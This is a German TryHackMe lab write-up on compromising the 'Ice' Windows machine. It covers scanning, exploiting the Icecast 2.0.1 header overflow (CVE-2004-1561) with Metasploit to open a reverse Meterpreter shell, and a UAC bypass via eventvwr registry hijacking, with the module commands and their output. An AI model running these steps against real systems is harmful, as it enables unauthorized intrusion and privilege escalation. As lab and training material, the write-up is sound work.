
Vollständige Kompromittierung der Ice-Maschine von TryHackMe — Icecast 2.0.1 RCE (CVE-2004-1561) über Buffer Overflow, gefolgt von Windows-Privilege-Escalation durch UAC-Bypass / COM-Hijacking. Enthält detaillierte Methodik und Behebung.
Plattform: TryHackMe Ziel-Betriebssystem: Windows 7 / Windows Server 2008 R2 Schwierigkeit: Einfach Kategorie: Buffer Overflow (RCE), lokale Privilegieneskalation
Dieser Bericht dokumentiert die vollständige Kompromittierung der Ice-Maschine auf TryHackMe, von der ersten Aufklärung bis zur Privilegieneskalation auf SYSTEM-Ebene. Das Zielsystem betreibt einen veralteten Icecast-2.0.1-Streaming-Media-Server, der anfällig für einen Remote-Buffer-Overflow (CVE-2004-1561) ist, der die Ausführung beliebigen Codes über manipulierte HTTP-Header ermöglicht. Der Erstzugriff wurde als Benutzer mit niedrigen Rechten über eine Meterpreter-Reverse-Shell erlangt. Die Privilegieneskalation zu NT AUTHORITY\SYSTEM wurde anschließend durch Ausnutzung einer Windows-COM-Object-Hijack-Schwachstelle (bypassuac_eventvwr) erreicht, die automatisch höherstufende Binärdateien und Registry-Schlüssel-Umleitung unter HKCU ausnutzt.
| Phase | Technik | Ergebnis |
|---|---|---|
| Aufklärung | arp-scan, nmap | Host identifiziert + 7 offene Ports |
| Erstzugriff | Icecast-HTTP-Header-Buffer-Overflow (CVE-2004-1561) | Meterpreter-Sitzung als lokaler Benutzer |
| Privilegieneskalation | bypassuac_eventvwr (COM-/Registry-Hijacking) | SYSTEM-Shell |
Zur Identifizierung der IP-Adresse des Zielsystems im lokalen Netzwerk wurde ein ARP-Scan verwendet.
arp-scan -l

Zielsystem unter 192.168.37.138 identifiziert.
Gegen das Zielsystem wurde ein vollständiger SYN-Scan mit Service-/Versionserkennung ausgeführt:
nmap -sS -sV 192.168.37.138
Ergebnisse:
Das Host-Fingerprinting ergab DARK-PC, einen Windows-Rechner. Port 8000 mit Icecast stach als vielversprechendste Angriffsfläche hervor — es handelt sich nicht um einen standardmäßigen Windows-Dienst, und er ist für historische CVEs bekannt.
Eine Suche nach bekannten Icecast-Schwachstellen ergab CVE-2004-1561:
Ein Buffer Overflow in Icecast 2.0.1 und früheren Versionen ermöglicht es entfernten Angreifern, beliebigen Code über eine HTTP-Anfrage mit einer großen Anzahl von Headern auszuführen.
Ein passendes Metasploit-Modul wurde bestätigt:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 führt keine ordnungsgemäße Grenzprüfung der Anzahl der verarbeiteten HTTP-Header durch. Sendet man mehr Header, als der Puffer des Servers verarbeiten kann, läuft die überschüssige Datenmenge in den angrenzenden Speicher über und überschreibt Daten außerhalb des reservierten Header-Parsing-Puffers.
Konkret korrumpiert der Overflow die gespeicherte Rücksprungadresse (EIP) auf dem Stack — die Adresse, zu der die CPU zurückspringt, sobald die Funktion, die die Anfrage verarbeitet, zurückkehrt. Durch die Kontrolle dieser Adresse kann ein Angreifer die Ausführung auf selbst bereitgestellten Shellcode umleiten, anstatt zum legitimen Rücksprungpunkt zurückzukehren, was zur Ausführung beliebigen Codes im Kontext des Icecast-Prozesses führt.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
Es wurde eine Meterpreter-Sitzung als Benutzer mit niedrigen Rechten aufgebaut.
Mit einer aktiven Sitzung wurde der in Metasploit integrierte Suggester verwendet, um gangbare Wege zur lokalen Privilegieneskalation für den Patch-Stand des Zielsystems zu identifizieren:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Mehrere Module wurden als wahrscheinlich gangbar markiert, darunter bypassuac_eventvwr, das nicht gepatchte Windows-7-/Server-2008-R2-Hosts angreift.
Dieser Privilegieneskalationspfad missbraucht die COM-Architektur (Component Object Model) von Windows, die es in verschiedenen Sprachen geschriebenen Komponenten ermöglicht, zusammenzuarbeiten. COM-Objekte verlassen sich üblicherweise auf gemeinsam genutzte DLLs, und das System ermittelt über Registry-Pfade, welche DLL für ein bestimmtes COM-Objekt geladen wird — einschließlich Pfaden, die im HKCU-Hive des aktuellen Benutzers gespeichert sind.
eventvwr.exe ist eine automatisch höherstufende Windows-Binärdatei (bei Standard-UAC-Konfigurationen löst sie aufgrund ihrer Manifest-Einstellungen stillschweigend eine UAC-Erhöhung aus, ohne den Dialog selbst anzuzeigen). Wenn sie ausgeführt wird, fragt sie HKCU ab, um ein COM-Objekt aufzulösen und die zugehörige DLL zu laden.
Der Exploit übernimmt diese Auflösung: Er schreibt einen bösartigen Registry-Schlüssel in den HKCU-Hive des aktuellen Benutzers und lenkt die COM-Auflösung auf ein vom Angreifer kontrolliertes Payload um, anstatt auf die legitime System-DLL. Da eventvwr.exe automatisch erhöht, wird das von ihm ausgelöste Payload — in diesem Fall eine Kommando-Shell — mit der Integritätsstufe ausgeführt, auf die eventvwr.exe erhöht, wodurch die Sitzung von einem Standardbenutzer zu einem Kontext mit höheren Rechten eskaliert wird, ohne dass jemals ein sichtbarer UAC-Dialog erscheint.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
Es wurde eine zweite Meterpreter-Sitzung mit einer erhöhten Shell geöffnet, die direkt in C:\Windows\system32 startete und damit die Privilegieneskalation bestätigte.
| # | Ergebnis | Schweregrad | CVE / Referenz |
|---|
eventvwr.exe wurde in späteren Windows-Builds behoben; dieser Angriff funktioniert gegen vollständig aktualisierte, moderne Windows-Versionen nicht.arp-scan, nmap — AufklärungMetasploit Framework (msfconsole) — Exploitation und Post-ExploitationMeterpreter — Post-Exploitation-Shell| Port | Service | Version |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (workgroup: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Icecast-Streaming-Media-Server |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| 1 | Icecast-2.0.1-HTTP-Header-Buffer-Overflow, der zur Remote-Code-Ausführung führt | Kritisch | CVE-2004-1561 |
| 2 | UAC-Bypass per COM-/Registry-Hijacking (eventvwr.exe-Auto-Elevation) | Hoch | Bekannte UAC-Designschwäche von Windows 7/Server 2008 R2 |